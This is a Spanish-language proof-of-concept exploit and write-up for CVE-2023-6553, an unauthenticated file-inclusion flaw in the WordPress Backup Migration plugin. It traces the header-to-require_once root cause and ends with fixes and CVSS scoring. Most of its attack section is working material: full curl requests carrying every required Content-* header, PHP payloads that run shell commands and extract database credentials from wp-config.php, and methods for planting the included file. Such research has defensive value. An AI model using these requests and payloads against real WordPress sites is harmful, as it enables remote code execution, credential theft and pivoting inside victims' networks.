
Exploit de prueba de concepto e informe técnico para CVE-2023-6553, una vulnerabilidad de inclusión de archivos PHP no autenticada que permite la ejecución remota de código en el plugin Backup Migration de WordPress <=1.3.7.
Plugin: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (Crítico)
CWE: CWE-98 — Control inadecuado del nombre de archivo para la declaración Include/Require
Requisito de autenticación: Ninguno
Impacto: Ejecución remota de código
Backup Migration es un plugin de WordPress bastante popular (~90.000+ instalaciones activas) que ayuda a los usuarios a crear copias de seguridad. Durante el proceso de copia de seguridad, el plugin tiene un archivo llamado backup-heart.php ejecutándose en segundo plano: recibe información de configuración mediante cabeceras HTTP para saber qué directorio debe respaldarse, dónde se encuentra el archivo de configuración, etc.
El problema radica en que este archivo confía plenamente en las cabeceras HTTP enviadas por el cliente, toma el valor de la cabecera directamente hacia la ruta del archivo y luego usa require_once() para cargar el archivo desde esa ruta. Un atacante solo necesita enviar la cabecera Content-Dir apuntando a un directorio que contenga código PHP malicioso → el servidor automáticamente lo incluye y ejecuta.
Cabe destacar que el archivo backup-heart.php no requiere autenticación — solo comprueba si el método de solicitud es POST, sin verificar ningún nonce ni privilegios de usuario. Cualquier persona en internet puede enviarle una solicitud.
⇒ Esta es una vulnerabilidad zero-click.
PHP tiene funciones como include(), require(), require_once() que se usan para incluir otros archivos PHP en el programa en ejecución. Cuando la ruta de archivo pasada a estas funciones proviene de la entrada del usuario sin validación, un atacante puede forzar al servidor a incluir cualquier archivo que desee:
allow_url_include=On (normalmente deshabilitado por defecto).Este CVE se clasifica como LFI — el atacante controla la ruta pasada a require_once() apuntando a un archivo PHP que el atacante ha logrado escribir en el servidor.
Muchos desarrolladores piensan que las cabeceras HTTP son metadatos "internos" conocidos solo por el servidor y el cliente. En realidad, los atacantes controlan el 100% del contenido de las cabeceras — pueden establecer cualquier nombre y valor de cabecera. Confiar en las cabeceras es igual que confiar en la entrada de un formulario: debe validarse.
define() y las constantes de PHPdefine('NAME', $value) crea una constante utilizada en toda la aplicación. Una vez defineda, el valor no se puede cambiar. Si $value proviene de un atacante, todos los lugares que usan esa constante se ven afectados.
Empecé usando grep para buscar todas las declaraciones require e include en todo el plugin:
grep -rn "require\|include" includes/

Los resultados de la búsqueda devolvieron muchas llamadas require/include. Revisándolas, la mayoría eran llamadas include_once en banner/misc.php y banner/views/index.php — pertenecen al código de renderizado de la interfaz de administración con rutas codificadas, lo que las hace no explotables.
Sin embargo, 2 líneas en backup-heart.php llamaron mi atención:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
La línea 118 usa require_once con la constante BMI_INCLUDES — si esta constante estuviera codificada, sería segura. Pero mirando hacia arriba, en la línea 64, vi que BMI_INCLUDES se construye a partir de otra constante, BMI_ROOT_DIR. Así que necesitamos rastrear más allá: ¿dónde se le asigna su valor a BMI_ROOT_DIR?
Usé grep nuevamente para rastrearlo:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
Resultados:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
La línea 62 muestra que BMI_ROOT_DIR toma su valor de $fields['content-dir']. Esta es una variable, no un valor fijo — necesitamos abrir el archivo y ver qué contiene $fields.
$fields?Abrí backup-heart.php en VS Code en la línea 62:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

Es claramente visible que $fields['content-dir'] va directamente a define(). Ahora necesitamos determinar dónde se asigna la variable $fields:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


En este punto, la causa raíz queda completamente clara: $fields contiene todas las cabeceras HTTP obtenidas mediante getallheaders() — completamente controladas por el cliente. No hay wp_verify_nonce(), ni current_user_can(), ni comprobación de ruta válida — simplemente verifica el método POST y lee las cabeceras directamente.
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
Resumen de la causa raíz: Cabecera HTTP → define() → require_once(), con cero pasos de validación en el medio.
Usé Xdebug + VS Code para confirmar visualmente el flujo del ataque. Establecí 2 puntos de interrupción en las líneas 62 y 118 de backup-heart.php y luego envié la solicitud de explotación usando curl.
Punto de interrupción 1 — Línea 62:
El depurador se detuvo justo en define('BMI_ROOT_DIR', $fields['content-dir']). Al expandir la variable $fields en el panel de Variables se mostró un array de 22 elementos — que contenía todas las cabeceras HTTP enviadas por el cliente. Específicamente:
content-dir = "/tmp/bmi/" — este es precisamente el valor enviado mediante la cabecera, que se asigna directamente a la constante BMI_ROOT_DIR.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — todos controlados por el atacante.No hay pasos de validación ni filtrado aplicados a content-dir antes de pasarlo a define().

Punto de interrupción 2 — Línea 118:
Al presionar F5, el depurador se detuvo en require_once BMI_INCLUDES . '/bypasser.php'. Observando el estado:
$fields todavía conserva content-dir = "/tmp/bmi/" — lo que demuestra que el valor no fue alterado entre las líneas 62 y 118.{main} backup-heart.php 118:1 — el código se ejecutó directamente desde la parte superior del archivo hasta este punto, omitiendo cualquier middleware o comprobación de autenticación./tmp/bmi/includes/bypasser.php — un archivo cuyo contenido está controlado por el atacante.
Los resultados de la depuración confirman perfectamente el flujo analizado en el Paso 3: la cabecera HTTP viaja desde getallheaders() → define() → require_once(), sin validación en el medio.
Antes de activar la inclusión, debe existir un archivo PHP en el servidor objetivo. Las técnicas comunes incluyen:
Envía una solicitud con Content-Dir apuntando al directorio que contiene el payload. El servidor automáticamente hace require y ejecuta el archivo del atacante.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
Todas las cabeceras Content-* deben proporcionarse porque backup-heart.php las usa en otras llamadas a define() — las cabeceras faltantes provocan avisos de PHP y pueden abortar la ejecución antes de llegar a require_once.
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
Devuelve 200 — el endpoint está abierto y no solicita autenticación.

Crea la estructura de directorios que require_once espera encontrar: {Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
Resultado:

RCE exitoso — el servidor ejecuta el comando id y devuelve la salida.
Después de confirmar el RCE, cambié el payload para demostrar que un atacante puede leer información sensible en el servidor. Cambia el contenido del archivo payload para leer wp-config.php:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
Reenvía la misma solicitud de exploit con curl → la salida devuelve los detalles de conexión a la base de datos:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
El atacante puede leer cualquier archivo al que www-data tenga permisos de acceso — wp-config.php, /etc/passwd, código fuente de otros plugins — ampliando la superficie de ataque.

Modifica aún más el payload para demostrar que el atacante puede recopilar información del sistema del servidor — lo que ayuda a la escalada de privilegios o al movimiento lateral:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
Envía el exploit con curl → salida:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

A partir de esta salida, el atacante descubre:
172.18.0.3 — confirma que el servidor está dentro de una red Docker, lo que permite el pivoteo a otros contenedores (base de datos, caché, etc.)backup-heart.php reside en el disco y puede accederse directamente mediante URL.No utilices cabeceras HTTP para determinar rutas de archivos. Usa rutas relativas derivadas de __DIR__:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
Añade una comprobación de autorización — solo el administrador de WordPress debería poder invocar este endpoint:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php./wp-content/plugins/*/includes/*.php.| Atributo | Valor |
|---|
| ID CVE | CVE-2023-6553 |
| Puntuación CVSS | 9.8 (Crítico) |
| Plugin | backup-backup (Backup Migration) ≤ 1.3.7 |
| Autenticación | No requerida |
| Interacción del usuario | Ninguna (zero-click) |
| Corregido | Versión 1.3.8 |
| Método | Concepto |
|---|
| Envenenamiento de registros (log poisoning) | Envía una solicitud que contiene <?php ... ?> dentro del User-Agent → el código se escribe en el registro de acceso → incluir el archivo de registro |
| Sesión de PHP | Escribir código PHP en un archivo de sesión ubicado en /tmp/sess_xxx |
| Cadena de subida | Aprovechar la función de subida de medios/avatares de WordPress para subir el archivo |
| Registro de errores del plugin | El plugin escribe su propio registro de errores — provocar un error que contenga código PHP escribe el código en el archivo de registro |
| Métrica CVSS | Valor | Razón |
|---|
| Vector de ataque | Red | Vía HTTP |
| Complejidad de ataque | Baja | 1 solicitud POST, sin condiciones de sincronización ni especiales requeridas |
| Privilegios requeridos | Ninguno | El endpoint no requiere autenticación |
| Interacción del usuario | Ninguna | Impulsado por el atacante, la víctima no requiere interacción |
| Confidencialidad | Alta | Puede leer cualquier archivo: wp-config.php, /etc/passwd, código fuente |
| Integridad | Alta | Escritura arbitraria de archivos, instalación de webshells, modificación de la base de datos |
| Disponibilidad | Alta | Eliminación de archivos, terminación de procesos, compromiso total del servidor |